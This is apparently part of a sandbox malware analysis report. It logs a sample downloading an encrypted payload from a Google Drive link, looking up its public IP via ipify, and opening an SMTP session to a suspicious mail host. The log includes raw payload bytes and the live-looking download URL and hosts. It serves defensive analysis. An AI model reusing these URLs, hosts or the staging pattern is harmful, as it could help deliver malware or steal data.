Nov 6, 2024 15:07:20.961016893 CET	443	49976	104.26.13.205	192.168.2.7
Nov 6, 2024 15:07:20.961088896 CET	443	49976	104.26.13.205	192.168.2.7
Nov 6, 2024 15:07:20.961227894 CET	49976	443	192.168.2.7	104.26.13.205
Nov 6, 2024 15:07:20.967459917 CET	49976	443	192.168.2.7	104.26.13.205
Nov 6, 2024 15:07:22.519633055 CET	49977	587	192.168.2.7	67.23.226.139
Nov 6, 2024 15:07:22.524544001 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:22.524653912 CET	49977	587	192.168.2.7	67.23.226.139
Nov 6, 2024 15:07:23.087625027 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:23.087908030 CET	49977	587	192.168.2.7	67.23.226.139
Nov 6, 2024 15:07:23.092946053 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:23.246176958 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:23.246522903 CET	49977	587	192.168.2.7	67.23.226.139
Nov 6, 2024 15:07:23.251425028 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:23.396857023 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:23.397721052 CET	49977	587	192.168.2.7	67.23.226.139
Nov 6, 2024 15:07:23.403626919 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:23.610822916 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:23.610846996 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:23.610907078 CET	49977	587	192.168.2.7	67.23.226.139
Nov 6, 2024 15:07:23.612127066 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:23.612198114 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:23.612246990 CET	49977	587	192.168.2.7	67.23.226.139
Nov 6, 2024 15:07:23.641388893 CET	49977	587	192.168.2.7	67.23.226.139
Nov 6, 2024 15:07:23.646380901 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:23.788686991 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:23.792026043 CET	49977	587	192.168.2.7	67.23.226.139
Nov 6, 2024 15:07:23.796963930 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:23.938817024 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:23.939986944 CET	49977	587	192.168.2.7	67.23.226.139
Nov 6, 2024 15:07:23.944909096 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:24.089066029 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:24.090225935 CET	49977	587	192.168.2.7	67.23.226.139
Nov 6, 2024 15:07:24.095186949 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:24.245270014 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:24.245683908 CET	49977	587	192.168.2.7	67.23.226.139
Nov 6, 2024 15:07:24.250618935 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:24.392576933 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:24.392993927 CET	49977	587	192.168.2.7	67.23.226.139
Nov 6, 2024 15:07:24.397852898 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:24.593230009 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:24.593599081 CET	49977	587	192.168.2.7	67.23.226.139
Nov 6, 2024 15:07:24.598747015 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:24.743731976 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:24.744533062 CET	49977	587	192.168.2.7	67.23.226.139
Nov 6, 2024 15:07:24.744597912 CET	49977	587	192.168.2.7	67.23.226.139
Nov 6, 2024 15:07:24.744623899 CET	49977	587	192.168.2.7	67.23.226.139
Nov 6, 2024 15:07:24.744645119 CET	49977	587	192.168.2.7	67.23.226.139
Nov 6, 2024 15:07:24.749486923 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:24.749500036 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:24.749593019 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:24.912033081 CET	587	49977	67.23.226.139	192.168.2.7
Nov 6, 2024 15:07:24.962271929 CET	49977	587	192.168.2.7	67.23.226.139

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 6, 2024 15:07:12.613677025 CET	50779	53	192.168.2.7	1.1.1.1
Nov 6, 2024 15:07:12.620842934 CET	53	50779	1.1.1.1	192.168.2.7
Nov 6, 2024 15:07:14.276115894 CET	65050	53	192.168.2.7	1.1.1.1
Nov 6, 2024 15:07:14.283618927 CET	53	65050	1.1.1.1	192.168.2.7
Nov 6, 2024 15:07:20.140635967 CET	64091	53	192.168.2.7	1.1.1.1
Nov 6, 2024 15:07:20.147927046 CET	53	64091	1.1.1.1	192.168.2.7
Nov 6, 2024 15:07:22.006927967 CET	65272	53	192.168.2.7	1.1.1.1
Nov 6, 2024 15:07:22.518410921 CET	53	65272	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 6, 2024 15:07:12.613677025 CET	192.168.2.7	1.1.1.1	0xc763	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:07:14.276115894 CET	192.168.2.7	1.1.1.1	0x87cd	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:07:20.140635967 CET	192.168.2.7	1.1.1.1	0x436c	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:07:22.006927967 CET	192.168.2.7	1.1.1.1	0x9687	Standard query (0)	mail.showpiece.trillennium.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 6, 2024 15:07:12.620842934 CET	1.1.1.1	192.168.2.7	0xc763	No error (0)	drive.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:07:14.283618927 CET	1.1.1.1	192.168.2.7	0x87cd	No error (0)	drive.usercontent.google.com		142.250.186.129	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:07:20.147927046 CET	1.1.1.1	192.168.2.7	0x436c	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:07:20.147927046 CET	1.1.1.1	192.168.2.7	0x436c	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:07:20.147927046 CET	1.1.1.1	192.168.2.7	0x436c	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Nov 6, 2024 15:07:22.518410921 CET	1.1.1.1	192.168.2.7	0x9687	No error (0)	mail.showpiece.trillennium.biz	showpiece.trillennium.biz		CNAME (Canonical name)	IN (0x0001)	false
Nov 6, 2024 15:07:22.518410921 CET	1.1.1.1	192.168.2.7	0x9687	No error (0)	showpiece.trillennium.biz		67.23.226.139	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

drive.google.com

drive.usercontent.google.com

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49974	172.217.16.206	443	3260	C:\Users\user\Desktop\3Pd480eWHA.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-06 14:07:13 UTC	216	OUT	GET /uc?export=download&id=1ivMM0-XwID-PbjTfWX2zUc3ft-ythcHa HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-11-06 14:07:14 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 06 Nov 2024 14:07:13 GMT Location: https://drive.usercontent.google.com/download?id=1ivMM0-XwID-PbjTfWX2zUc3ft-ythcHa&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-RsjFXQaSUXWjqV4V0PSAiA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49975	142.250.186.129	443	3260	C:\Users\user\Desktop\3Pd480eWHA.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-06 14:07:15 UTC	258	OUT	GET /download?id=1ivMM0-XwID-PbjTfWX2zUc3ft-ythcHa&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-11-06 14:07:17 UTC	4921	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="DMymenWYIulA201.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 240192 Last-Modified: Mon, 28 Oct 2024 01:33:23 GMT X-GUploader-UploadID: AHmUCY1U_5DIJuWHyF3c_qrdCMCbfGjnGcOL635RyXEFeJUG09CQTK4NY6YdxicpQL46mFROf-eyPZJgww Date: Wed, 06 Nov 2024 14:07:17 GMT Expires: Wed, 06 Nov 2024 14:07:17 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=qvmHug== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-06 14:07:17 UTC	4921	IN	Data Raw: 01 0d 7e 10 8c 12 dc 62 4a 5b 04 a4 38 3e e2 34 6f e0 a0 8f 88 a7 7e 23 dc 91 13 c6 86 a0 1a 28 5e 08 6c 3d 35 ee 6c 26 02 02 12 4a 41 bb c7 1e 7a c6 77 31 b6 63 25 24 c2 79 67 a0 ab 6e 99 3b 3b f0 54 5e d0 20 89 3b ff 81 ca 76 fc 72 f7 af 49 83 fe 02 e6 f1 27 a7 69 69 41 c5 c7 c4 c5 c1 b4 a1 9b 80 12 d0 71 6e 6a e0 79 bf 7d 57 62 2e 12 8e 17 eb c3 b3 82 88 39 f7 66 e6 ae b7 df 78 84 1e 18 c9 1d 45 0b b2 15 7b ba 39 75 ed 63 16 53 c2 7e 4c 43 88 5d 60 49 e0 f4 0f e7 aa 1c 43 db 92 28 f2 a6 5a b4 b8 4a c4 c6 6a 47 7b bc 7b 34 fd 85 7b c9 60 12 25 cf 39 00 e4 8a 06 95 71 58 9b 1f 8e f3 c8 ce 8e db c3 69 4f 46 b9 f6 58 86 3b 3d 21 e0 55 b6 ca 03 3c 7e 81 6d fd ac 7f d7 7e 7d 5b 0a f5 55 df fc c0 7c 44 50 03 97 5d 96 40 fc c6 78 48 ec b3 48 cd 7c 66 35 30 57 Data Ascii: ~bJ[8>4o~#(^l=5l&JAzw1c%$ygn;;T^ ;vrI'iiAqnjy}Wb.9fxE{9ucS~LC]`IC(ZJjG{{4{`%9qXiOFX;=!U<~m~}[U\|DP]@xHH\|f50W
2024-11-06 14:07:17 UTC	4856	IN	Data Raw: 5c 08 e9 ba 29 97 48 2f 67 ab 1f cf c6 c5 dc e3 28 2e a8 3d 1d ba 58 ca 3b 76 fc 2f fc 7d bd fa 9d f5 19 dc 0b 20 d8 92 6b 2a c1 9d cd d4 71 97 99 63 7a fc a8 f1 6b 84 fc 75 e1 89 06 3c e2 6e 8c 20 a0 0c fd 44 35 d1 6a 46 7c f6 ce 8f 79 e9 21 7d 7f f1 5f ba 26 c7 b9 fc a1 ee 66 92 9e 43 3c 4a 24 39 8b 15 b4 50 e1 68 ad 6a 2c 45 ef ae ba 33 c2 94 46 6b f1 b8 1a c3 01 3e a3 e1 8a 0b 91 cb 8e 00 4c 9a cc 42 f3 a4 74 d3 ad e8 fa 2f 72 0f 91 03 5b 9b 99 fe 22 d1 05 d0 f5 b7 0e 05 a9 9d 3f dd 4a c4 1f d5 92 64 af 5e 75 99 6c dd b5 46 06 6f a9 7d 40 82 1d e5 7a 44 58 66 06 2f 71 df 74 99 b8 36 2f f1 08 2c 81 5b 91 b7 c0 ff 44 87 84 fb b7 d8 07 02 26 cf 61 33 f1 95 7e 3a 9e 25 b2 87 5b fc 42 84 ed 2c 00 46 ab c4 5a 2d 2c 8b 3b 05 88 ca 76 6c 95 f7 af fb fe cc 03 Data Ascii: \)H/g(.=X;v/} k*qczku<n D5jF\|y!}_&fC<J$9Phj,E3Fk>LBt/r["?Jd^ulFo}@zDXf/qt6/,[D&a3~:%[B,FZ-,;vl
2024-11-06 14:07:17 UTC	1323	IN	Data Raw: e0 69 70 91 df 54 bc e8 21 83 c0 8c f8 31 82 d1 7b ea 12 cf 4f 26 f0 fa d9 e0 9d f9 28 8c 2e bd 86 6b f7 e2 f1 34 ad a3 6e 97 a7 28 d5 ee ac e9 d6 29 5d 54 45 b0 26 46 a4 d0 92 99 11 00 6c e0 c2 c4 12 fb 50 cb 71 19 f8 1b 38 47 a5 01 b5 2b 34 03 7c 63 5a 08 49 16 19 76 d3 76 3a 95 04 ed 1e c1 00 0a 68 79 b2 0c b0 d8 33 0c 75 df 06 2b 2b 10 cf 49 46 9b 28 e9 7b 7a 8a fe 0d a1 61 86 e7 e8 70 61 d0 5a 66 f8 d4 4c 31 f0 ac 45 da b4 7c a6 78 67 48 fa 3b fa d5 65 47 59 ff ad be 4b ef 31 a7 5b d1 2f e3 f4 8d 0e 42 c3 f7 64 cf b6 ea 37 55 e4 a1 36 50 75 32 6a 91 ee 42 0c 13 62 4b f3 27 05 3c fb d1 75 d1 da 63 7d 2a 95 01 89 02 b2 91 73 17 0c d5 f2 3b 77 9e 43 9b 5e 1f 27 1f 23 08 59 c4 61 d5 33 5b 00 b9 af 60 37 e8 ba d7 99 ba 23 63 55 33 c0 c6 e5 fc 1d 29 17 47 Data Ascii: ipT!1{O&(.k4n()]TE&FlPq8G+4\|cZIvv:hy3u++IF({zapaZfL1E\|xgH;eGYK1[/Bd7U6Pu2jBbK'<uc}*s;wC^'#Ya3[`7#cU3)G
2024-11-06 14:07:17 UTC	1378	IN	Data Raw: 19 54 45 4f d6 4b a4 d0 4c 86 12 00 4c 1b cc c8 12 05 af fe 6b 19 d8 1f c6 4b a5 ff 4a 1e 17 03 3c c2 5b fd b6 36 37 49 d3 76 ce bb 17 ed 1e 3f 66 51 40 19 b2 0c ba 26 c3 09 4c f5 03 2b 2b 10 11 46 4a 9b 28 e9 79 75 8a de e7 ad 62 86 39 ef 49 7a d0 a4 67 3f dd 48 31 d8 aa 40 da be f0 da 8e 99 b6 fb 1f fa d5 45 41 69 fc ad 59 44 e3 31 af a5 dd 32 c3 d4 84 0e 42 3d 07 66 f6 98 ef 36 55 1a ad cd 5c 5e 73 4a 94 e4 bc 02 ed 63 52 ef 27 05 3c fb d3 79 d1 24 91 70 26 d5 3b 8a 02 b2 b1 8b 16 35 cf 0c 35 74 60 4f 67 52 e2 2b 3e 21 67 1b c4 9f de f4 44 03 b9 8f 9a 3b e8 ba d7 99 b7 23 43 a8 3f cc c6 3b d2 1e 29 17 47 31 1e ba 86 c2 3a 76 02 df fd 44 be fe 9d f5 e7 2b 05 24 a4 f1 95 26 c1 63 e1 d7 71 69 95 9c 7b ed b8 f1 6b af 71 6f e1 89 2c c7 ec 6f 8c fe ac 0f fd Data Ascii: TEOKLLkKJ<[67Iv?fQ@&L++FJ(yub9Izg?H1@EAiYD12B=f6U\^sJcR'<y$p&;55t`OgR+>!gD;#C?;)G1:vD+$&cqi{kqo,o
2024-11-06 14:07:17 UTC	1378	IN	Data Raw: 58 ff 8d 40 45 e3 31 98 0b dd 23 e3 f4 86 0e 42 c3 f7 6b f5 a0 ea c9 59 19 ad 13 54 5d 73 6a 6f e5 85 0c 13 62 6b c1 a8 05 3c 05 ff 7c d1 da 9d 8f 28 96 21 8a fc be 92 8d 36 3d cf f2 3b 89 61 76 97 5e e1 2b 26 53 67 1b c4 41 d6 cd 55 03 47 81 67 37 e8 44 25 94 b6 03 68 ab 3f cc 38 c4 e5 3d 29 17 b9 c3 14 ba a6 bd 5e 76 02 25 02 70 9c fe e6 92 19 22 01 4b e3 92 95 20 e5 91 ed d5 71 69 97 9e 7b c5 44 fd 68 84 af 61 e1 89 0c 3c ed 56 86 00 a2 0c fd 64 ca df 6e 46 82 06 c1 8b 79 37 29 7e 7f d1 ad bb 1f e1 47 fd 98 99 67 92 9e 0b 11 40 24 39 b5 e3 41 af 1e 10 1f 66 2c 4f 31 a6 bb 33 3c b5 43 69 0f b7 39 c6 29 0d a3 1f 82 25 91 d0 40 09 48 8a ed 40 f3 af 74 2d bd f1 7b 2f 72 0f 91 01 59 9b d2 8b 20 d1 03 2e 05 b9 0d fb 85 9d 3f af 4d 3a 1e 9c e1 55 ae 5e 49 ba Data Ascii: X@E1#BkYT]sjobk<\|(!6=;av^+&SgAUGg7D%h?8=)^v%p"K qi{Dha<VdnFy7)~Gg@$9Af,O13<Ci9)%@H@t-{/rY .?M:U^I
2024-11-06 14:07:17 UTC	1378	IN	Data Raw: c4 77 3b 2b fc 7d 9d fe bd f4 19 22 05 da d6 92 95 26 3b 91 ed d5 51 93 99 9d 7b 3b bb c8 6e 84 8f 61 d9 8c 0c c2 ec 57 de ff 5d f3 d7 44 cb df 75 76 7e 08 22 8b 79 c9 29 7d 7f e0 81 bb 1f e1 b9 02 af 9e 67 aa 1f 33 14 40 24 c7 81 3f bc 70 e0 6e 53 66 d2 44 f6 b3 ba 33 c2 42 48 69 f1 c5 4e c6 01 3a 8b 43 84 0f 9b f1 dd 0c 48 9a cc 42 f3 a4 74 d3 a2 d3 7b 2f 8c 03 6d 0f 7a 99 ea f8 20 2f 02 17 e9 b5 0e fb 85 9f 3f af 4d 3a 11 a5 ef 75 ad 5e 71 67 9e d1 b7 6e 0e 91 a5 79 32 b9 1d e5 0a 6c b3 67 3f 2f 8f d1 77 99 66 3a 2c f1 7a cd 8f 59 e1 9f 28 f3 46 8d d6 bf b7 d8 77 d4 30 f6 64 39 8c ba 47 3f 9a db be bd 21 71 ee 7b 13 55 7d 76 d1 b1 5e d3 24 ac c5 f5 80 ca 88 0e 8d f7 87 ac 83 fe 08 18 f8 27 a7 52 1d 41 c5 c3 ec c3 c1 b4 a7 65 89 12 d0 03 55 68 e0 09 c2 Data Ascii: w;+}"&;Q{;naW]Duv~"y)}g3@$?pnSfD3BHiN:CHBt{/mz /?M:u^qgny2lg?/wf:,zY(Fw0d9G?!q{U}v^$'RAeUh
2024-11-06 14:07:17 UTC	1378	IN	Data Raw: e9 70 0c 48 64 e5 40 f3 81 0f 59 ac d1 7f 5d f0 0b 6f 7f 72 80 ea f8 2a ac 77 2e fb b1 2e ba a5 9f 3f 51 43 c4 1f a5 11 59 ae 5e 51 65 60 df b5 90 0f 56 bb 7b 32 99 e3 ec 0a 6c 65 2b 06 25 89 f1 74 99 46 3b d2 ff 7a 33 81 a5 ed 9f d6 df 4d 8d f6 bc 49 d9 4e 09 31 cf 61 c7 85 ba 7f 12 df db be 83 a5 87 10 84 cd 2f 7d 76 aa 3a 5f 8c 19 84 39 fb 81 ea 7c 03 8d f7 51 ff 83 fe 02 18 fd 27 a7 09 7e 41 c5 c7 3a c4 f8 be a1 9b 80 38 f0 69 6e 6a e0 87 b1 7d 57 62 d0 1e 8e 17 cb 89 b3 82 88 c7 f6 5f ec 2e b7 df 52 aa 4a a2 c7 1d 0f 0c 7f 34 c3 45 79 b8 cc 17 1f 3a b1 5e c2 30 de 18 12 28 8d 2a 65 86 c4 57 57 db b2 4a 93 f4 a4 c5 d6 1a 85 b3 4a 03 3e 92 2f 59 92 e5 3e 85 6d 1f 2f 15 37 00 e4 8a f8 99 71 08 fe 2d 8e bf c9 33 8f 7e 0c 03 29 46 93 d6 6b 86 3b 3d df 0e Data Ascii: pHd@Y]orw..?QCY^Qe`V{2le+%tF;z3MIN1a/}v:_9\|Q'~A:8inj}Wb_.RJ4Ey:^0(eWWJJ>/Y>m/7q-3~)Fk;=
2024-11-06 14:07:17 UTC	1378	IN	Data Raw: 73 76 aa c4 a0 df 20 89 1b e8 81 ca 76 fd 8c ce 8d f1 83 fe fc ef f1 27 82 52 1d 41 c5 c3 b6 17 c5 b4 d1 b3 9b 12 d0 7b 13 1e e0 79 bb 5d 43 62 2e 12 70 19 eb c3 b3 7c 84 39 f7 46 da 2e b7 df 86 8b 38 b5 c7 1d f1 fc 76 35 c3 9b 05 b8 cc 37 3e 51 4c a1 c3 11 da 3a 12 28 73 da 6c 86 c4 8c 20 af b2 6a 9f 86 28 c1 28 6b 94 a2 4a 03 34 c5 7b 50 92 e1 1e 19 63 1f 2f eb c7 0c e4 8a 26 ac 71 08 de e1 8f 86 de cd 8e 47 f8 0a 28 46 99 fb 58 86 3b 7d 8e ff aa 4b eb 32 3d 75 81 93 53 af 7f d7 88 71 5b 0a d5 70 df c2 7f 81 45 69 01 97 5d 96 7e f6 c6 78 6d d7 c7 48 ed 78 14 eb 36 57 6d 21 f3 7f 3f 8f 8f 86 1c 98 8d ff e6 83 63 07 c8 4e 9e 17 21 12 00 a6 12 be 8a e5 21 75 41 1c ec 68 3a 16 97 53 6c c0 e2 2a f4 12 d4 26 3e a7 de b6 ec e5 ce c6 67 96 c5 65 34 87 f0 78 a2 Data Ascii: sv v'RA{y]Cb.p\|9F.8v57>QL:(sl j((kJ4{Pc/&qG(FX;}K2=uSq[pEi]~xmHx6Wm!?cN!!uAh:Sl*&>ge4x
2024-11-06 14:07:17 UTC	1378	IN	Data Raw: 60 d0 dc 4a 03 30 cf 63 59 92 e1 e0 e9 6d 1f 2f 15 35 00 e4 aa 0d 95 71 08 20 1e b7 b5 c9 cd 8e 6d 26 0f 29 46 b9 08 56 86 3b 3d df 0c 55 b4 eb 5a 3d 75 81 93 5c 96 5d d7 76 7d a5 03 f5 55 fa b9 0b 7f 44 54 51 1d 58 96 f0 d7 dd 78 48 a6 ce 3c ed 7c 62 15 61 57 1d 09 16 71 3f 85 f2 0c 10 98 89 ff ca 83 63 07 c8 41 a7 35 21 ec 0c 58 1b 9e a1 c0 5a 01 bf 1d d1 38 ae 13 97 dd 4d db e2 0f 85 1b a0 26 3a d1 14 b9 ec 95 e6 23 69 96 cf 18 be 8b f0 7c a2 a5 d2 13 a4 e8 81 5e 7c 55 93 03 ff 3f 1e 63 8b 8b 03 48 d7 88 8d dc 90 5d aa 65 76 79 ba 8f 50 06 45 6d 72 6e 1a a0 c2 f1 61 49 88 68 9d f0 35 3c c0 c5 b3 5c 3d 4a 04 b7 fe fc 2f f9 12 bd 69 10 99 f2 d3 c8 6e 6c 14 28 31 ef c8 86 1f 81 7d 7d 46 e7 87 ab 85 08 85 cb 28 89 56 e5 6a 95 81 f7 7d 6a 6b 8e 75 b6 d1 44 Data Ascii: `J0cYm/5q m&)FV;=UZ=u\]v}UDTQXxH<\|baWq?cA5!XZ8M&:#i\|^\|U?cH]evyPEmrnaIh5<\=J/inl(1}}F(Vj}jkuD
2024-11-06 14:07:17 UTC	1378	IN	Data Raw: 9e 17 25 9e 28 a0 12 ee 89 fe 21 75 b5 60 a1 4a 3a 12 b7 cb 65 c0 e2 f1 81 66 d4 26 c4 d9 34 b2 cc f8 e6 dd 67 68 ce 21 4a 87 f0 7c a8 88 bc 13 a4 16 7e 69 5e 55 93 fd 0d 36 1e 43 ff f0 77 48 29 8d c6 6d 95 5d da b3 64 78 ba a5 5a 72 45 6d 36 90 e5 5f 3d d1 cd 47 88 68 63 00 39 3c c0 1b bc 5c 3d 6a ce b6 c7 eb d1 f8 2b 61 60 11 99 2c d2 c8 6e 49 2f 90 c6 10 33 d4 29 87 7d 0d 90 f2 87 ab 8f 8b fd cb 28 ad 3e d0 6a 95 7f 08 4a 7d 6b 8e 8b 44 d8 45 43 94 b8 bc 30 19 02 9e 21 2f 32 2a d7 f9 19 89 08 2b aa 47 06 a4 8c 0f a2 86 e5 e3 13 d2 bf d7 bc bf 54 30 2a 0d d5 09 f7 d4 b2 5f a5 fd 5e b6 dd 04 12 0e 1c 0d 4c 73 70 73 97 81 d3 12 8d d5 d9 b3 ba c3 c9 a2 93 f3 ca 69 eb 27 bc a0 7c f3 ea 8e e5 e0 ee 13 a3 57 09 f9 89 c2 e4 63 21 ce c7 b9 60 5b 40 ed 9a 9c 6e Data Ascii: %(!u`J:ef&4gh!J\|~i^U6CwH)m]dxZrEm6_=Ghc9<\=j+a`,nI/3)}(>jJ}kDEC0!/2+GT0_^Lspsi'\|Wc!`[@n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49976	104.26.13.205	443	3260	C:\Users\user\Desktop\3Pd480eWHA.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-06 14:07:20 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-11-06 14:07:20 UTC	399	IN	HTTP/1.1 200 OK Date: Wed, 06 Nov 2024 14:07:20 GMT Content-Type: text/plain Content-Length: 14 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8de5a63b58b42d3f-DFW server-timing: cfL4;desc="?proto=TCP&rtt=1383&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2816&recv_bytes=769&delivery_rate=1942320&cwnd=251&unsent_bytes=0&cid=3533824601d45b7f&ts=194&x=0"
2024-11-06 14:07:20 UTC	14	IN	Data Raw: 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 30 Data Ascii: 173.254.250.80

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 6, 2024 15:07:23.087625027 CET	587	49977	67.23.226.139	192.168.2.7	220-super.nseasy.com ESMTP Exim 4.96.2 #2 Wed, 06 Nov 2024 09:07:23 -0500 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 6, 2024 15:07:23.087908030 CET	49977	587	192.168.2.7	67.23.226.139	EHLO 468325
Nov 6, 2024 15:07:23.246176958 CET	587	49977	67.23.226.139	192.168.2.7	250-super.nseasy.com Hello 468325 [173.254.250.80] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Nov 6, 2024 15:07:23.246522903 CET	49977	587	192.168.2.7	67.23.226.139	STARTTLS
Nov 6, 2024 15:07:23.396857023 CET	587	49977	67.23.226.139	192.168.2.7	220 TLS go ahead

Target ID:	0
Start time:	09:06:00
Start date:	06/11/2024
Path:	C:\Users\user\Desktop\3Pd480eWHA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\3Pd480eWHA.exe"
Imagebase:	0x400000
File size:	895'816 bytes
